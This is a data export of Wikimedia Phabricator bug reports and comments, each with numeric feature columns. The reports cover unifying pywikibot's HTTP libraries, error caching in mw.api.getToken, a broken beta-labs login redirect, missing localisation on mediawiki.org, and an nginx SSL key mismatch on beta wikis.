+1432541,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, httplib etc., which might be a cause for many other bugs we encounter",,,1580154016,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+1432536,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, which might be a cause for many other bugs we encounter",,,1580153344,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+991931,use one library for all http requests,"Two new possible GCI tasks T184360 & T184361 .  Need more analysis done, and expanding the description to ensure that the work is of a high quality.",,,1515298250,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,True,,,131,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+640764,use one library for all http requests,"Change 281673 had a related patch set uploaded (by Xqt):
+[bugfix] bugfixes and improvements for checkimages
+
+[[https://gerrit.wikimedia.org/r/281673]]
+",,,1459870323,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+639791,use one library for all http requests,"Change 281131 had a related patch set uploaded (by Xqt):
+[bugfix] bugfixes and improvements for checkimages
+
+[[https://gerrit.wikimedia.org/r/281131]]
+",,,1459685297,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+468041,use one library for all http requests,"Change 208479 merged by jenkins-bot:
+[IMPROV] Replace openurl with http.fetch
+
+[[https://gerrit.wikimedia.org/r/208479]]",,,1433294967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467687,use one library for all http requests,"Change 208479 had a related patch set uploaded (by XZise):
+[IMPROV] Replace openurl with http.fetch
+
+[[https://gerrit.wikimedia.org/r/208479]]
+",,,1433268078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440979,use one library for all http requests,"Another httplib2 fork, which says it provides streaming: https://github.com/fffonion/httplib2-plus
+
+Also, we have a patch to switch to python-requests: https://gerrit.wikimedia.org/r/#/c/189821/",,,1428576733,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+297346,use one library for all http requests,"https://github.com/ross/python-asynchttp might be a good solution, but it doesnt appear to be very active",,,1415501252,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-34,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+297344,use one library for all http requests,"version.py now uses httplib2.
+
+In addition to the list above, generate_family_file.py also uses urllib2",,,1412594473,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+297339,use one library for all http requests,"Change 153300 merged by jenkins-bot:
+Replace httplib and urllib with httplib2
+
+https://gerrit.wikimedia.org/r/153300",,,1409862849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+297334,use one library for all http requests,"Change 152200 merged by jenkins-bot:
+User-agent graceful degradation
+
+https://gerrit.wikimedia.org/r/152200",,,1409778667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+297330,use one library for all http requests,"Change 153300 had a related patch set uploaded by John Vandenberg:
+Replace httplib and urllib with httplib2
+
+https://gerrit.wikimedia.org/r/153300",,,1407673182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+297326,use one library for all http requests,"Change 152200 had a related patch set uploaded by John Vandenberg:
+HTTP requests with user-agent without version
+
+https://gerrit.wikimedia.org/r/152200",,,1407371588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+297318,use one library for all http requests,"site.py & weblib.py use 'import urllib', but for urlencode
+
+urllib:
+pywikibot/page.py:1841:        f = urllib.urlopen(self.fileUrl())
+pywikibot/version.py:199:    buf = urllib.urlopen(url).readlines()
+
+scripts/upload.py
+scripts/flickrripper.py
+scripts/checkimages.py
+scripts/weblinkchecker.py
+scripts/imagerecat.py
+scripts/maintenance/wikimedia_sites.py
+scripts/data_ingestion.py
+
+urllib2:
+scripts/reflinks.py
+
+httplib (not httplib2):
+pywikibot/version.py:123:    conn = httplib.HTTPSConnection('github.com')
+
+scripts/weblinkchecker.py
+scripts/reflinks.py",,,1407359276,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+297309,use one library for all http requests,"The may be issues with using httplib2 for large downloads, like are possible in upload.py.
+
+https://github.com/jcgregorio/httplib2/issues/224
+
+A fork has been created for that, and distributed caching.
+
+https://github.com/madlag/streaming_httplib2",,,1404182008,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-53,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1
+67268,mw.api.getToken should not cache HTTP errors,"Temporary HTTP errors should not cached by mw.api.getToken.
+
+Steps to reproduce
+* Load MediaWiki
+* Switch browser to offline mode
+* Enter
+var api = new mw.Api();
+api.getToken( 'foo' )
+.done( function ( data ) {
+	console.log( 'done', data );
+} )
+.fail( function ( error ) {
+	console.log( 'fail', error );
+} );
+>> fail http
+* Switch browser to online mode
+* Enter
+api.getToken( 'foo' )
+.done( function ( data ) {
+	console.log( 'done', data );
+} )
+.fail( function ( error ) {
+	console.log( 'fail', error );
+} );
+>> fail fail
+expected result
+>> fail token-missing
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",High,80.0,1400002080,1400498917.0,PHID-USER-3dmql6z7s5lnn5lu2vs3,False,,False,PHID-TASK-emcnqud7a35q3i3vpn2n,task_description,resolved,True,c3,1,False,False,True,-60,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+307984,mw.api.getToken should not cache HTTP errors,"Change 133106 merged by jenkins-bot:
+mediawiki.api: Do not cache errors in getToken()
+
+https://gerrit.wikimedia.org/r/133106",,,1400499119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-emcnqud7a35q3i3vpn2n,task_subcomment,,True,c3,1,False,,,-59,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+307980,mw.api.getToken should not cache HTTP errors,"Change 133106 had a related patch set uploaded by Gerrit Patch Uploader:
+mediawiki.api: Do not cache errors in getToken()
+
+https://gerrit.wikimedia.org/r/133106",,,1400006679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-emcnqud7a35q3i3vpn2n,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+65780,login broken on beta labs,"On http://en.wikipedia.beta.wmflabs.org/ attempt to login
+
+Upon logging in, the resulting URL contains ""$channel"" instead of ""beta"" and browser shows no page
+
+result: 
+http://en.wikipedia.%24channel.wmflabs.org/wiki/Special:CentralLogin/complete?token=fba1899f0e1715c2a585874c3c47812d
+
+http://en.wikipedia.$channel.wmflabs.org is also seen. 
+
+Login seems to succeed.
+
+This prevents any automated test that logs in from running.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1397148600,1397157573.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_description,resolved,True,c3,1,False,False,True,-64,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0
+299540,login broken on beta labs,"When siteParamsCallback is called for 'enwiki', it doesn't know whether the configuration values it should return are the HHVM ones or not, so this workaround will have the effect of redirecting users on beta-hhvm to beta on login. So I'll have to figure out a better solution at some point. For now, though, this does unbreak testing on beta, which doesn't care / know about beta-hhvm.",,,1397157573,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,True,,,-64,True,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+299535,login broken on beta labs,"Change 125264 merged by Ori.livneh:
+Work around bug 63780 by specifying a siteParamsCallback
+
+https://gerrit.wikimedia.org/r/125264",,,1397157337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+299533,login broken on beta labs,"Change 125264 had a related patch set uploaded by Ori.livneh:
+Work around bug 63780 by specifying a siteParamsCallback
+
+https://gerrit.wikimedia.org/r/125264",,,1397157288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+299532,login broken on beta labs,This may have been caused by https://gerrit.wikimedia.org/r/#/c/125062/ and https://gerrit.wikimedia.org/r/#/c/125070/.,,,1397149641,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+65563,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**Author:** `pr4tiklahoti`
+
+**Description:**
+Screenshot showing broken login and create account links
+
+The ""Login"" and ""Create account"" links on mediawiki.org seem to be broken.
+
+To reproduce, make sure you are not signed in. If signed in, logout and revisit http://www.mediawiki.org again
+
+Observed: The links are broken
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+
+**Attached**: {F13773}",High,80.0,1396685040,1396710899.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fp76hh5nffykyc3jp22w,task_description,resolved,True,c3,1,False,False,True,-65,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+301660,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"(In reply to Andre Klapper from comment #4)
+> I'm pretty sure this is related to the ""Localisation not working on
+> MediaWiki.org"" on the (internal) Engineering mailing list so I guess that
+> either stuff got reverted or worked around.
+
+Yes, that's what happened
+
+https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Missing_interface_messages",,,1396710899,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+301654,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"I'm pretty sure this is related to the ""Localisation not working on MediaWiki.org"" on the (internal) Engineering mailing list so I guess that either stuff got reverted or worked around.",,,1396710547,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+301648,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**pr4tiklahoti** wrote:
+
+Andre: I should have mentioned that I was using Mozilla Firefox 26.0. And also sorry for using the word ""broken"". 
+
+I am *not* able to reproduce it now on a different machine. However, I had confirmed this bug from kondi on #mediawiki before filing it. It was there in the afternoon. Wonder if the bug got fixed or it was some cache issue for both of us.",,,1396709770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,False,,,-65,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+301642,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"(Links aren't ""broken"" as they still do what they are expected to do when clicking them; the text is wrong though so changing bug summary.)
+
+Being logged out and going to https://www.mediawiki.org/wiki/MediaWiki in Google Chrome 33, I see the usual strings ""Create account"" and ""Log in"" instead of the technical placeholders.
+
+Pratik: Does this always happen or only sometimes? Have you bypassed your browser cache? https://en.wikipedia.org/wiki/Wikipedia:BYPASS",,,1396702872,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0
+301636,Login and Create Account links show raw strings (qqx) on mediawiki.org (no localisation),"**pr4tiklahoti** wrote:
+
+Oops, just a note: As seen in the screenshot, the other links - View History, View Source and the Search text seem to be broken as well.",,,1396685389,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fp76hh5nffykyc3jp22w,task_subcomment,,True,c3,1,False,,,-65,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+65538,enable SSL/https support again,"Please enable ssl/https support for the beta wikis again. It is missing after migration to eqiad.
+
+Btw: The old cert issued by Labs CA for all beta subdomains was not considered ""valid"" because among others things it was only for issued for *.wmflabs.org (counts only for direct subdomain) but thats ok.
+see bug 48501 for task to get real beta certs but only for limited subdomains.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68387",High,80.0,1396634940,1397720970.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-zil3dzudm6lc65b24rkh,task_description,resolved,True,c3,1,True,False,True,-65,True,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+300407,enable SSL/https support again,SSL is enabled again but is not going to work until someone sort out the SSL certificate issue tracked by bug 48501.  There is no need to have two bugs to track the issue :-D,,,1397720970,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-63,True,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+300405,enable SSL/https support again,"(In reply to se4598 from comment #6)
+appendix: even if the mentioned bug now covers that too, leave this bug open until it's somehow working, because of the dependencies/blocked bug of this etc.",,,1397671420,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+300403,enable SSL/https support again,"REOPEN: bug 48501 is about getting real, valid certs. This about accessing beta with https (regardless if the cert is valid for the browser and a warning message pops up).
+
+I don't know nginx to say why he doesn't like the cert, but how about generating new, self-signed or by Labs CA for beta domains? Thats how it was and worked in pmtpa, so what's the problem here?",,,1397670859,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+300401,enable SSL/https support again,The puppet class role::protoproxy::ssl::beta  is applied on all varnish instances.  Nginx refuses to starts because the /etc/ssl/private/star.wmflabs.org.key key mismatch (see comment #3).  That would be solved whenever we get certificates on beta which is the rather long bug 48501.,,,1397642933,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-64,True,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+300399,enable SSL/https support again,"Change 124057 merged by Dzahn:
+beta: adjust protoproxy for eqiad
+
+https://gerrit.wikimedia.org/r/124057",,,1397636946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+300397,enable SSL/https support again,"While applying the puppet class on deployment-cache-bits01, nginx ends up bailing out with:
+
+ root@deployment-cache-bits01:~# /etc/init.d/nginx start
+ Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed
+   (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
+ nginx: configuration file /etc/nginx/nginx.conf test failed",,,1396865586,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-zil3dzudm6lc65b24rkh,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
